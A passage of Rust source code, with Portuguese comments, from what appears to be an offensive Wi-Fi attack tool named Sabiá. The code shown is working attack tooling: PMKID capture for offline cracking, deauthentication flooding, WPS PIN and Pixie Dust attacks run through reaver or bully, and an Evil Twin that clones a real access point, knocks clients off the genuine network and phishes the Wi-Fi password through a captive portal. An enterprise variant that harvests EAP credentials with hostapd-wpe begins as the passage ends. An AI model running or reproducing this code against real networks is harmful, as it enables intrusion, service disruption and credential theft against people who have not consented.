std::thread::sleep(Duration::from_millis(800));
|
|
|
|
let station_text = crate::dot11::mac_to_string(&station);
|
|
let handshakes = self.handshakes(Some(name));
|
|
let found = handshakes
|
|
.iter()
|
|
.find(|h| h.bssid.eq_ignore_ascii_case(bssid) && h.pmkid.is_some())
|
|
.cloned();
|
|
let report = PmkidReport {
|
|
iface: name.to_string(),
|
|
bssid: bssid.to_string(),
|
|
ssid: Some(ssid),
|
|
station: station_text,
|
|
frames_sent,
|
|
pmkid: found.as_ref().and_then(|h| h.pmkid.clone()),
|
|
handshakes: handshakes
|
|
.iter()
|
|
.filter(|h| h.bssid.eq_ignore_ascii_case(bssid))
|
|
.count(),
|
|
detail: if found.is_some() {
|
|
"PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.".into()
|
|
} else {
|
|
"Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.".into()
|
|
},
|
|
};
|
|
self.log(
|
|
"pmkid_hunt",
|
|
name,
|
|
serde_json::json!({
|
|
"bssid": bssid,
|
|
"station": report.station,
|
|
"frames": frames_sent,
|
|
"pmkid": report.pmkid,
|
|
}),
|
|
);
|
|
if ap.channel.is_some() {
|
|
let _ = self.lock_channel(name, None);
|
|
}
|
|
Ok(report)
|
|
}
|
|
|
|
fn session_ap(&self, name: &str, bssid: &str) -> Result<Option<AccessPoint>> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.lock().unwrap();
|
|
Ok(table
|
|
.access_points()
|
|
.into_iter()
|
|
.find(|a| a.bssid.eq_ignore_ascii_case(bssid)))
|
|
}
|
|
|
|
/// Teste prático de PMF: desautentica nas duas direções e observa se a
|
|
/// estação volta a associar. Não é uma prova criptográfica — é o mesmo
|
|
/// sinal que um ataque real usaria.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn pmf_test(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: &str,
|
|
reason: u16,
|
|
) -> Result<PmfReport> {
|
|
let before = self.client_snapshot(name, station)?;
|
|
let channel = self.session_ap(name, bssid)?.and_then(|a| a.channel);
|
|
if let Some(channel) = channel {
|
|
self.lock_channel(name, Some(channel))?;
|
|
}
|
|
let started = unix_now();
|
|
let sent =
|
|
self.deauth_directional(name, bssid, Some(station), 5, reason, "both", "deauth")?;
|
|
std::thread::sleep(Duration::from_secs(4));
|
|
if channel.is_some() {
|
|
let _ = self.lock_channel(name, None);
|
|
}
|
|
let after = self.client_snapshot(name, station);
|
|
let (packets_after, reconnected) = match after {
|
|
Ok(Some(c)) => (
|
|
c.packets,
|
|
c.events
|
|
.iter()
|
|
.any(|e| e.t >= started && e.kind == "associate"),
|
|
),
|
|
_ => (0, false),
|
|
};
|
|
let packets_before = before.map(|c| c.packets).unwrap_or(0);
|
|
let (verdict, detail) = if reconnected {
|
|
(
|
|
"pmf_off",
|
|
"A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).",
|
|
)
|
|
} else if packets_after > packets_before + 3 {
|
|
(
|
|
"pmf_off",
|
|
"A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.",
|
|
)
|
|
} else {
|
|
(
|
|
"inconclusive",
|
|
"A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.",
|
|
)
|
|
};
|
|
let report = PmfReport {
|
|
iface: name.to_string(),
|
|
bssid: bssid.to_string(),
|
|
station: station.to_string(),
|
|
frames_sent: sent.frames_sent,
|
|
reconnected,
|
|
packets_before,
|
|
packets_after,
|
|
verdict: verdict.to_string(),
|
|
detail: detail.to_string(),
|
|
};
|
|
self.log(
|
|
"pmf_test",
|
|
name,
|
|
serde_json::json!({
|
|
"bssid": bssid,
|
|
"station": station,
|
|
"verdict": verdict,
|
|
"reconnected": reconnected,
|
|
}),
|
|
);
|
|
Ok(report)
|
|
}
|
|
|
|
fn client_snapshot(&self, name: &str, station: &str) -> Result<Option<crate::scan::Client>> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.lock().unwrap();
|
|
Ok(table.clients().into_iter().find(|c| c.mac == station))
|
|
}
|
|
|
|
pub fn wps_tools(&self) -> Vec<crate::wps::WpsTool> {
|
|
crate::wps::tools()
|
|
}
|
|
|
|
/// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie
|
|
/// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn start_wps(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
channel: u32,
|
|
tool: &str,
|
|
pin: Option<&str>,
|
|
) -> Result<String> {
|
|
use std::io::{BufRead, BufReader};
|
|
use std::process::{Command, Stdio};
|
|
|
|
let path = crate::wps::tool_path(tool).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!(
|
|
"{tool} não está disponível; o reaver integrado não pôde ser extraído"
|
|
))
|
|
})?;
|
|
if let Some(pin) = pin {
|
|
if pin.len() != 8 || !pin.chars().all(|c| c.is_ascii_digit()) {
|
|
return Err(SabiaError::InvalidInput(
|
|
"PIN WPS deve ter 8 dígitos".into(),
|
|
));
|
|
}
|
|
}
|
|
parse_mac(bssid)?;
|
|
let info = iface::get(name)?;
|
|
if info.mode == Mode::Managed {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{name} está em modo managed; ative o modo monitor antes do ataque WPS"
|
|
)));
|
|
}
|
|
|
|
let lock_slot = if channel > 0 {
|
|
self.lock_channel(name, Some(channel))?;
|
|
self.sessions
|
|
.lock()
|
|
.unwrap()
|
|
.get(name)
|
|
.map(|s| s.locked_channel.clone())
|
|
} else {
|
|
None
|
|
};
|
|
|
|
let id = format!("wps-{}", self.wps_seq.fetch_add(1, Ordering::SeqCst) + 1);
|
|
let job = Arc::new(Mutex::new(WpsJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
bssid: bssid.to_string(),
|
|
tool: tool.to_string(),
|
|
status: "running".into(),
|
|
pin: pin.map(str::to_string),
|
|
password: None,
|
|
output: Vec::new(),
|
|
error: None,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
pid: None,
|
|
}));
|
|
self.wps_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.insert(id.clone(), job.clone());
|
|
|
|
let args = crate::wps::args(tool, name, bssid, channel, pin);
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
let iface_name = name.to_string();
|
|
let bssid_owned = bssid.to_string();
|
|
let tool_owned = tool.to_string();
|
|
let pin_owned = pin.map(str::to_string);
|
|
let thread_job = job.clone();
|
|
let thread_lock = lock_slot;
|
|
let wps_dir =
|
|
std::env::temp_dir().join(format!("sabia-wps-{}", unsafe { libc::geteuid() }));
|
|
let _ = std::fs::create_dir_all(&wps_dir);
|
|
std::thread::spawn(move || {
|
|
let mut command = Command::new(&path);
|
|
command
|
|
.args(&args)
|
|
.current_dir(&wps_dir)
|
|
.stdout(Stdio::piped())
|
|
.stderr(Stdio::piped());
|
|
let mut child = match command.spawn() {
|
|
Ok(child) => child,
|
|
Err(e) => {
|
|
if let Ok(mut j) = thread_job.lock() {
|
|
j.status = "error".into();
|
|
j.error =
|
|
Some(format!("não foi possível executar {}: {e}", path.display()));
|
|
j.finished_unix = Some(unix_now());
|
|
}
|
|
if let Some(lock) = &thread_lock {
|
|
*lock.lock().unwrap() = None;
|
|
}
|
|
return;
|
|
}
|
|
};
|
|
if let Ok(mut j) = thread_job.lock() {
|
|
j.pid = Some(child.id());
|
|
}
|
|
|
|
let mut readers = Vec::new();
|
|
if let Some(stdout) = child.stdout.take() {
|
|
let job = thread_job.clone();
|
|
readers.push(std::thread::spawn(move || {
|
|
for line in BufReader::new(stdout)
|
|
.lines()
|
|
.map_while(std::result::Result::ok)
|
|
{
|
|
record_wps_line(&job, &line);
|
|
}
|
|
}));
|
|
}
|
|
if let Some(stderr) = child.stderr.take() {
|
|
let job = thread_job.clone();
|
|
readers.push(std::thread::spawn(move || {
|
|
for line in BufReader::new(stderr)
|
|
.lines()
|
|
.map_while(std::result::Result::ok)
|
|
{
|
|
record_wps_line(&job, &line);
|
|
}
|
|
}));
|
|
}
|
|
let status = child.wait();
|
|
for reader in readers {
|
|
let _ = reader.join();
|
|
}
|
|
if let Some(lock) = &thread_lock {
|
|
*lock.lock().unwrap() = None;
|
|
}
|
|
let mut guard = thread_job.lock().unwrap();
|
|
guard.finished_unix = Some(unix_now());
|
|
if guard.status == "stopped" {
|
|
return;
|
|
}
|
|
let found = guard.password.is_some();
|
|
match status {
|
|
Ok(s) if s.success() || found => {
|
|
guard.status = "done".into();
|
|
if !found {
|
|
guard.error = Some("a ferramenta terminou sem informar PSK".into());
|
|
}
|
|
}
|
|
Ok(s) => {
|
|
guard.status = "error".into();
|
|
guard.error = Some(format!(
|
|
"{} terminou com código {}",
|
|
path.display(),
|
|
s.code().unwrap_or(-1)
|
|
));
|
|
}
|
|
Err(e) => {
|
|
guard.status = "error".into();
|
|
guard.error = Some(e.to_string());
|
|
}
|
|
}
|
|
let password = guard.password.clone();
|
|
drop(guard);
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"wps_attack",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"bssid": bssid_owned,
|
|
"tool": tool_owned,
|
|
"pin": pin_owned,
|
|
"success": password.is_some(),
|
|
}),
|
|
);
|
|
});
|
|
|
|
self.log(
|
|
"wps_start",
|
|
name,
|
|
serde_json::json!({ "job": id, "bssid": bssid, "tool": tool }),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn start_wps(
|
|
&self,
|
|
_name: &str,
|
|
_bssid: &str,
|
|
_channel: u32,
|
|
_tool: &str,
|
|
_pin: Option<&str>,
|
|
) -> Result<String> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
pub fn wps_job(&self, id: &str) -> Option<WpsJobInfo> {
|
|
self.wps_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.map(|j| j.lock().unwrap().clone())
|
|
}
|
|
|
|
pub fn wps_jobs(&self) -> Vec<WpsJobInfo> {
|
|
let jobs = self.wps_jobs.lock().unwrap();
|
|
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
|
|
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
|
|
out
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
pub fn stop_wps(&self, id: &str) -> Result<()> {
|
|
let job = self
|
|
.wps_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.cloned()
|
|
.ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?;
|
|
let pid = job.lock().unwrap().pid;
|
|
if let Some(pid) = pid {
|
|
// SAFETY: sinal para o processo filho que este próprio Sabiá criou.
|
|
unsafe {
|
|
libc::kill(pid as i32, libc::SIGTERM);
|
|
}
|
|
}
|
|
let mut guard = job.lock().unwrap();
|
|
guard.status = "stopped".into();
|
|
guard.finished_unix = Some(unix_now());
|
|
let iface = guard.iface.clone();
|
|
drop(guard);
|
|
if let Some(session) = self.sessions.lock().unwrap().get(&iface) {
|
|
*session.locked_channel.lock().unwrap() = None;
|
|
}
|
|
Ok(())
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn stop_wps(&self, _id: &str) -> Result<()> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
/// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID
|
|
/// aberto, numa segunda interface em modo AP) e sobe um portal que pede
|
|
/// a senha — conferida na hora contra um handshake real já capturado
|
|
/// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um
|
|
/// handshake quebrável já presente na tabela: é o mesmo requisito do
|
|
/// botão "Quebrar senha", só que a verificação acontece ao vivo, uma
|
|
/// tentativa por vez, em vez de testar um dicionário inteiro.
|
|
///
|
|
/// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi
|
|
/// capaz de modo AP, diferente da que está capturando/desautenticando.
|
|
#[cfg(target_os = "linux")]
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn start_evil_twin(
|
|
&self,
|
|
name: &str,
|
|
ap_iface: &str,
|
|
bssid: &str,
|
|
portal_port: u16,
|
|
deauth_real_ap: bool,
|
|
) -> Result<String> {
|
|
use std::fs;
|
|
use std::process::{Command, Stdio};
|
|
|
|
parse_mac(bssid)?;
|
|
if ap_iface == name {
|
|
return Err(SabiaError::InvalidInput(
|
|
"a interface do clone precisa ser diferente da que está capturando".into(),
|
|
));
|
|
}
|
|
let (table, ssid, channel) = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.clone();
|
|
let t = table.lock().unwrap();
|
|
let ap = t
|
|
.access_points()
|
|
.into_iter()
|
|
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput(
|
|
"esse BSSID ainda não apareceu nesta sessão de captura".into(),
|
|
)
|
|
})?;
|
|
let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
|
|
SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into())
|
|
})?;
|
|
let channel = ap.channel.ok_or_else(|| {
|
|
SabiaError::InvalidInput("canal do AP ainda não identificado".into())
|
|
})?;
|
|
drop(t);
|
|
(table, ssid, channel)
|
|
};
|
|
|
|
let hs = {
|
|
let t = table.lock().unwrap();
|
|
t.first_crackable(Some(bssid), None).cloned()
|
|
}
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput(
|
|
"capture um handshake quebrável desse AP antes (aba Handshake → Forçar handshake)"
|
|
.into(),
|
|
)
|
|
})?;
|
|
let target = crack::CrackTarget::from_handshake(&hs).ok_or_else(|| {
|
|
SabiaError::InvalidInput("handshake sem dados suficientes pra conferir senha".into())
|
|
})?;
|
|
|
|
crate::wps::find_in_path("hostapd").ok_or_else(|| {
|
|
SabiaError::InvalidInput(
|
|
"hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin"
|
|
.into(),
|
|
)
|
|
})?;
|
|
|
|
let info = iface::get(ap_iface)?;
|
|
if info.mode != Mode::Managed && info.mode != Mode::Monitor {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{ap_iface} está num modo que o hostapd não consegue usar"
|
|
)));
|
|
}
|
|
|
|
const GATEWAY_IP: &str = "10.90.90.1";
|
|
const DHCP_RANGE: (&str, &str) = ("10.90.90.10", "10.90.90.200");
|
|
|
|
let dir =
|
|
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
|
|
fs::create_dir_all(&dir).map_err(SabiaError::Io)?;
|
|
let hostapd_conf_path = dir.join(format!("hostapd-{ap_iface}.conf"));
|
|
let dnsmasq_conf_path = dir.join(format!("dnsmasq-{ap_iface}.conf"));
|
|
fs::write(
|
|
&hostapd_conf_path,
|
|
crate::eviltwin::hostapd_conf(ap_iface, &ssid, channel, None),
|
|
)
|
|
.map_err(SabiaError::Io)?;
|
|
fs::write(
|
|
&dnsmasq_conf_path,
|
|
crate::eviltwin::dnsmasq_conf(ap_iface, GATEWAY_IP, DHCP_RANGE),
|
|
)
|
|
.map_err(SabiaError::Io)?;
|
|
|
|
// Estado em disco pra recuperação: se este processo morrer (Ctrl+C
|
|
// sem handler, kill -9, queda de energia) antes da thread de
|
|
// limpeza rodar, as duas interfaces ficam presas em `managed no`
|
|
// pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos —
|
|
// na prática o Wi-Fi inteiro desaparece da configuração do sistema
|
|
// (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers`
|
|
// lê este arquivo no próximo início do engine e desfaz tudo.
|
|
let state_path = dir.join(format!("state-{ap_iface}.json"));
|
|
let _ = fs::write(
|
|
&state_path,
|
|
serde_json::json!({
|
|
"ap_iface": ap_iface,
|
|
"capture_iface": name,
|
|
"portal_port": portal_port,
|
|
"hostapd_conf": hostapd_conf_path.to_string_lossy(),
|
|
"dnsmasq_conf": dnsmasq_conf_path.to_string_lossy(),
|
|
})
|
|
.to_string(),
|
|
);
|
|
|
|
// Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa
|
|
// interface, ele reafirma a própria conexão por cima e o hostapd
|
|
// nunca consegue de fato assumir o rádio — fica "rodando" sem subir
|
|
// o AP. Solta a interface antes (best-effort: segue em frente mesmo
|
|
// sem nmcli, só não vai funcionar contra uma interface gerenciada).
|
|
//
|
|
// A interface de CAPTURA também precisa ficar fora do NetworkManager
|
|
// nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM
|
|
// "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi
|
|
// gerenciável disponível (a própria interface de captura!), tirando
|
|
// ela do modo monitor no meio da sessão. Solta as duas.
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", ap_iface, "managed", "no"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "no"])
|
|
.status();
|
|
|
|
// Endereço do gateway na interface do clone, antes de subir o
|
|
// hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar.
|
|
let _ = Command::new("ip")
|
|
.args(["addr", "flush", "dev", ap_iface])
|
|
.status();
|
|
let _ = Command::new("ip")
|
|
.args(["addr", "add", &format!("{GATEWAY_IP}/24"), "dev", ap_iface])
|
|
.status();
|
|
let _ = Command::new("ip")
|
|
.args(["link", "set", ap_iface, "up"])
|
|
.status();
|
|
|
|
// A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre
|
|
// na hora (config que o driver recusa, canal/banda que a placa não
|
|
// suporta de verdade, etc.) a única pista era um processo
|
|
// "<defunct>" sem explicação nenhuma. Grava num arquivo pra poder
|
|
// diagnosticar, e confere logo depois do spawn se ele já morreu —
|
|
// nesse caso devolve o erro de cara em vez de deixar o job "rodando"
|
|
// só na aparência enquanto o AP nunca sobe de verdade.
|
|
let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log"));
|
|
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
|
|
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
|
|
let mut hostapd_cmd = Command::new("hostapd");
|
|
hostapd_cmd
|
|
.arg(&hostapd_conf_path)
|
|
.stdout(hostapd_log_out)
|
|
.stderr(hostapd_log_err);
|
|
let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| {
|
|
SabiaError::InvalidInput(format!("não foi possível executar hostapd: {e}"))
|
|
})?;
|
|
std::thread::sleep(std::time::Duration::from_millis(500));
|
|
if let Ok(Some(status)) = hostapd_child.try_wait() {
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", ap_iface, "managed", "yes"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "yes"])
|
|
.status();
|
|
let _ = fs::remove_file(&state_path);
|
|
let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default();
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"hostapd saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}",
|
|
log.trim()
|
|
)));
|
|
}
|
|
let hostapd_pid = hostapd_child.id();
|
|
|
|
let dnsmasq_child = if crate::wps::find_in_path("dnsmasq").is_some() {
|
|
Command::new("dnsmasq")
|
|
.arg("--no-daemon")
|
|
.arg(format!("--conf-file={}", dnsmasq_conf_path.display()))
|
|
.stdout(Stdio::null())
|
|
.stderr(Stdio::null())
|
|
.spawn()
|
|
.ok()
|
|
} else {
|
|
None
|
|
};
|
|
let dnsmasq_pid = dnsmasq_child.as_ref().map(|c| c.id());
|
|
|
|
for rule in crate::eviltwin::iptables_rules(ap_iface, portal_port) {
|
|
let _ = Command::new("iptables").args(&rule).status();
|
|
}
|
|
|
|
// Sem parada automática daqui de dentro: a thread que termina o
|
|
// Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job
|
|
// de volta). Por segurança o job de deauth tem um teto de 30min —
|
|
// pra encerrar antes, é o endpoint de deauth normal (POST
|
|
// /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar.
|
|
let deauth_job = if deauth_real_ap {
|
|
self.start_deauth_job_burst(
|
|
name,
|
|
bssid,
|
|
None,
|
|
7,
|
|
"ap",
|
|
"deauth",
|
|
1_500,
|
|
Some(1_800),
|
|
false,
|
|
3,
|
|
)
|
|
.ok()
|
|
} else {
|
|
None
|
|
};
|
|
|
|
let id = format!(
|
|
"eviltwin-{}",
|
|
self.eviltwin_seq.fetch_add(1, Ordering::SeqCst) + 1
|
|
);
|
|
let stop = Arc::new(AtomicBool::new(false));
|
|
let job = Arc::new(Mutex::new(EvilTwinJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
ap_iface: ap_iface.to_string(),
|
|
ssid: ssid.clone(),
|
|
bssid: bssid.to_string(),
|
|
portal_port,
|
|
status: "running".into(),
|
|
attempts: 0,
|
|
last_attempt: None,
|
|
password: None,
|
|
deauth_job: deauth_job.clone(),
|
|
error: None,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
hostapd_pid: Some(hostapd_pid),
|
|
dnsmasq_pid,
|
|
stop: Some(stop.clone()),
|
|
}));
|
|
self.eviltwin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.insert(id.clone(), job.clone());
|
|
|
|
let listener = match std::net::TcpListener::bind(("0.0.0.0", portal_port)) {
|
|
Ok(l) => l,
|
|
Err(e) => {
|
|
let mut guard = job.lock().unwrap();
|
|
guard.status = "error".into();
|
|
guard.error = Some(format!("porta {portal_port} do portal: {e}"));
|
|
guard.finished_unix = Some(unix_now());
|
|
return Ok(id);
|
|
}
|
|
};
|
|
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
let iface_name = name.to_string();
|
|
let bssid_owned = bssid.to_string();
|
|
let ssid_owned = ssid;
|
|
let ap_iface_owned = ap_iface.to_string();
|
|
let thread_job = job.clone();
|
|
let thread_table = table;
|
|
let thread_stop = stop;
|
|
let state_path_for_thread = state_path.clone();
|
|
|
|
std::thread::spawn(move || {
|
|
let job_for_attempts = thread_job.clone();
|
|
let password = crate::eviltwin::run_portal(
|
|
listener,
|
|
&ssid_owned,
|
|
&target,
|
|
&thread_stop,
|
|
move |attempt| {
|
|
if let Ok(mut j) = job_for_attempts.lock() {
|
|
j.attempts += 1;
|
|
j.last_attempt = Some(
|
|
match attempt {
|
|
crate::eviltwin::PortalAttempt::Correct => "correct",
|
|
crate::eviltwin::PortalAttempt::WrongPassword => "wrong",
|
|
crate::eviltwin::PortalAttempt::InvalidLength => "invalid",
|
|
}
|
|
.into(),
|
|
);
|
|
}
|
|
},
|
|
);
|
|
|
|
// Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o
|
|
// job de deauth do AP real — sempre, sucesso ou não.
|
|
unsafe {
|
|
libc::kill(hostapd_pid as i32, libc::SIGTERM);
|
|
}
|
|
if let Some(pid) = dnsmasq_pid {
|
|
unsafe {
|
|
libc::kill(pid as i32, libc::SIGTERM);
|
|
}
|
|
}
|
|
for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) {
|
|
let _ = Command::new("iptables").args(&rule).status();
|
|
}
|
|
// Devolve as duas interfaces pro NetworkManager, senão ficam
|
|
// soltas (sem reconectar sozinhas a nada) depois que o hostapd
|
|
// sai. A de captura também foi solta lá no início — ver o
|
|
// comentário em start_evil_twin sobre o NM "resgatando" conexão
|
|
// salva pra ela quando só a `ap_iface` era liberada.
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &ap_iface_owned, "managed", "yes"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &iface_name, "managed", "yes"])
|
|
.status();
|
|
// Limpeza terminou direitinho: o arquivo de recuperação não é
|
|
// mais necessário (senão o próximo start do engine ia tentar
|
|
// "curar" um estado que já está limpo).
|
|
let _ = std::fs::remove_file(&state_path_for_thread);
|
|
|
|
let mut guard = thread_job.lock().unwrap();
|
|
guard.finished_unix = Some(unix_now());
|
|
if guard.status != "stopped" {
|
|
guard.status = if password.is_some() {
|
|
"done"
|
|
} else {
|
|
"stopped"
|
|
}
|
|
.into();
|
|
}
|
|
if let Some(password) = &password {
|
|
thread_table
|
|
.lock()
|
|
.unwrap()
|
|
.set_password(&bssid_owned, &hs.station, password);
|
|
guard.password = Some(password.clone());
|
|
}
|
|
let attempts = guard.attempts;
|
|
drop(guard);
|
|
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"eviltwin_stop",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"bssid": bssid_owned,
|
|
"ap_iface": ap_iface_owned,
|
|
"attempts": attempts,
|
|
"success": password.is_some(),
|
|
}),
|
|
);
|
|
});
|
|
|
|
self.log(
|
|
"eviltwin_start",
|
|
name,
|
|
serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface, "ssid_len": 0 }),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn start_evil_twin(
|
|
&self,
|
|
_name: &str,
|
|
_ap_iface: &str,
|
|
_bssid: &str,
|
|
_portal_port: u16,
|
|
_deauth_real_ap: bool,
|
|
) -> Result<String> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
pub fn eviltwin_job(&self, id: &str) -> Option<EvilTwinJobInfo> {
|
|
self.eviltwin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.map(|j| j.lock().unwrap().clone())
|
|
}
|
|
|
|
pub fn eviltwin_jobs(&self) -> Vec<EvilTwinJobInfo> {
|
|
let jobs = self.eviltwin_jobs.lock().unwrap();
|
|
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
|
|
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
|
|
out
|
|
}
|
|
|
|
pub fn stop_evil_twin(&self, id: &str) -> Result<()> {
|
|
let job = self
|
|
.eviltwin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.cloned()
|
|
.ok_or_else(|| SabiaError::InvalidInput("job de Evil Twin não encontrado".into()))?;
|
|
let mut guard = job.lock().unwrap();
|
|
guard.status = "stopped".into();
|
|
if let Some(stop) = &guard.stop {
|
|
stop.store(true, Ordering::SeqCst);
|
|
}
|
|
// O accept() não-bloqueante só confere o `stop` a cada ~80ms — o
|
|
// listener às vezes só é liberado numa conexão local de "empurrão".
|
|
let port = guard.portal_port;
|
|
let capture_iface = guard.iface.clone();
|
|
drop(guard);
|
|
let _ = std::net::TcpStream::connect(("127.0.0.1", port));
|
|
// A thread que fecha o Evil Twin roda solta e não tem como parar o
|
|
// job de deauth acoplado de volta; isso aqui, que tem `&self`, pode.
|
|
self.stop_deauth_for_iface(&capture_iface);
|
|
Ok(())
|
|
}
|
|
|
|
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa
|
|
/// segunda interface anunciando o mesmo SSID+canal e deixa o
|
|
/// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de
|
|
/// qualquer cliente — a credencial sai sozinha, como parte do próprio
|
|
/// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs`
|
|
/// pro porquê disso só existir pra Enterprise e não pra PSK).
|
|
///
|
|
/// Exige que o AP já tenha aparecido nesta sessão com segurança
|
|
/// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é
|
|
/// vendorizado como o reaver: é um patch sobre a árvore de build do
|
|
/// hostapd, não um binário pequeno.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn start_evil_twin_enterprise(
|
|
&self,
|
|
name: &str,
|
|
ap_iface: &str,
|
|
bssid: &str,
|
|
) -> Result<String> {
|
|
use std::fs;
|
|
use std::process::{Command, Stdio};
|
|
|
|
parse_mac(bssid)?;
|
|
if ap_iface == name {
|
|
return Err(SabiaError::InvalidInput(
|
|
"a interface do clone precisa ser diferente da que está capturando".into(),
|
|
));
|
|
}
|
|
let (ssid, channel) = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let t = session.table.lock().unwrap();
|
|
let ap = t
|
|
.access_points()
|
|
.into_iter()
|
|
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput(
|
|
"esse BSSID ainda não apareceu nesta sessão de captura".into(),
|
|
)
|
|
})?;
|
|
if !ap.akm.iter().any(|a| a == "802.1X") {
|
|
return Err(SabiaError::InvalidInput(
|
|
"essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo".into(),
|
|
));
|
|
}
|
|
